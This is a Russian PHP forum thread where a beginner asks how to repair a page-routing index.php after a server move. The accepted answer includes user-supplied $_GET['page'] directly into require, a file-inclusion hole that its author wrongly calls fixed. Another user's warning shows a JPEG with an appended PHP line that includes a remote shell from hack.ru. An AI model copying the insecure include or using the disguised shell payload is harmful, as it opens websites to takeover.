За последние 24 часа нас посетили 22298 программистов и 1166 роботов. Сейчас ищет 751 программист ...

Не работает скрипт после переноса сайта на php 5.6

Тема в разделе "Сделайте за меня", создана пользователем sli, 8 июл 2018.

  1. sli

    sli Новичок

    С нами с:
    8 июл 2018
    Сообщения:
    2
    Симпатии:
    0
    Всем здравствуйте! Я новичок в PHP, поэтому обращаюсь к более опытным за советом.
    Я был вынужден перенести сайты на другой сервер, где установлен PHP 5.6.33. Нашел в сети информацию, что в версиях PHP выше 5.3 переменные не передаются напрямую, и их теперь нужно в начале скрипта вытаскивать из массива.
    Пожалуйста, помогите правильно написать скрипт, размещенный в index.php.
    Код (Text):
    1. <?
    2.  
    3. if (isset($page)) {
    4.  
    5. if (file_exists("$page.php")) { include "$page.php"; }
    6.  
    7. elseif (file_exists('error.php')) { include 'error.php'; }
    8.  
    9. } elseif (file_exists('main.php')) { include 'main.php'; }
    10.  
    11. ?>
    Как сейчас: открывается index.php с подгруженным контентом из main.php
    В случае перехода по ссылке вида mysite.ru/index.php?page=list , адрес в строке браузера меняется, но остается страница с содержимым main.php

    Как должно работать: при открытии index.php, подгружается контент из файла main.php
    При переходе по активной ссылке mysite.ru/index.php?page=list должен подгружаться контент из файла list.php
    Если ввести ссылку с отсутствующим файлом, типа mysite.ru/index.php?page=nofile , должна открыться страница с подгруженным контентом из error.php

    Очень рассчитываю на вашу помощь. Пожалуйста, исправьте этот скрипт....
     
  2. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.752
    Симпатии:
    1.322
    Адрес:
    Лень
    index.php:
    PHP:
    1. <?php
    2.  
    3. error_reporting ( E_ALL ); # отобразить все ошибки если они есть. Это нужно чтобы их лечить после.
    4.  
    5. if ( array_key_exists ( 'page', $_GET ) )
    6. {
    7.     if ( file_exists ( __DIR__ . "/{$_GET[page]}.php" ) )
    8.     {
    9.         require __DIR__ . "/{$_GET[page]}.php"; # переход на существующую страницу
    10.    }
    11.     else
    12.     {
    13.         require __DIR__ . '/404.php'; # страница с выводом ошибки
    14.    }
    15. }
    16. else
    17. {
    18.     require __DIR__ . '/main.php'; # главная страница
    19. }
     
    sli и yanuzay нравится это.
  3. yanuzay

    yanuzay Активный пользователь

    С нами с:
    28 мар 2018
    Сообщения:
    498
    Симпатии:
    57
    Чтобы получить значение page из ссылки mysite.ru/index.php?page=list , в php можно прописать $_GET['page'] и присвоить это значение переменной.

    Но если в чистом виде передавать значение из ссылки в include, то рано или поздно твой сайт будет взломан.

    Подробнее прочитать про методы устранения уязвимости, которая уже есть в твоем скрипте, можешь по ссылке:
    https://forum.antichat.ru/threads/91807/
     
  4. MouseZver

    MouseZver Суперстар

    С нами с:
    1 апр 2013
    Сообщения:
    7.752
    Симпатии:
    1.322
    Адрес:
    Лень
    в моем скрипте уязвимость отсечена.
     
  5. yanuzay

    yanuzay Активный пользователь

    С нами с:
    28 мар 2018
    Сообщения:
    498
    Симпатии:
    57
    Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:
    Код (Text):
    1.  
    2. яШяа JFIF ` ` яЫ C
    3.  
    4. $.' ",#(7),01444'9=82<.342яЫ C
    5.  
    6. 2!!22222222222222222222222222222222222222222222222222яА 6 6" яД
    7. яД µ } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚
    8. %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪбвгдежзийкстуфхцчшщъяД
    9. яД µ w !1AQaq"2ЃB‘Ў±Б #3RрbrС
    10. $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪвгдежзийктуфхцчшщъяЪ ? чъ(ўЂ
    11. (ўЂ
    12. (ўЂ
    13. (ўЂ
    14. (ўЂ
    15. (ўЂ
    16. (ўЂ
    17. (ўЂ
    18. (ўЂ
    19. (ўЂ
    20. (ўЂ
    21. (ўЂ
    22. (ўЂ
    23. (ўЂ
    24. (ўЂ
    25. (ўЂ?яЩ
    26. <?php include("http://hack.ru/shell.php"); ?>
    Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка :)
    Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
    загружает код из одного файла в исполняемый файл. Вот пример:
     
  6. sli

    sli Новичок

    С нами с:
    8 июл 2018
    Сообщения:
    2
    Симпатии:
    0
    Огромное человеческое спасибо за помощь! Все работает! Очень благодарен!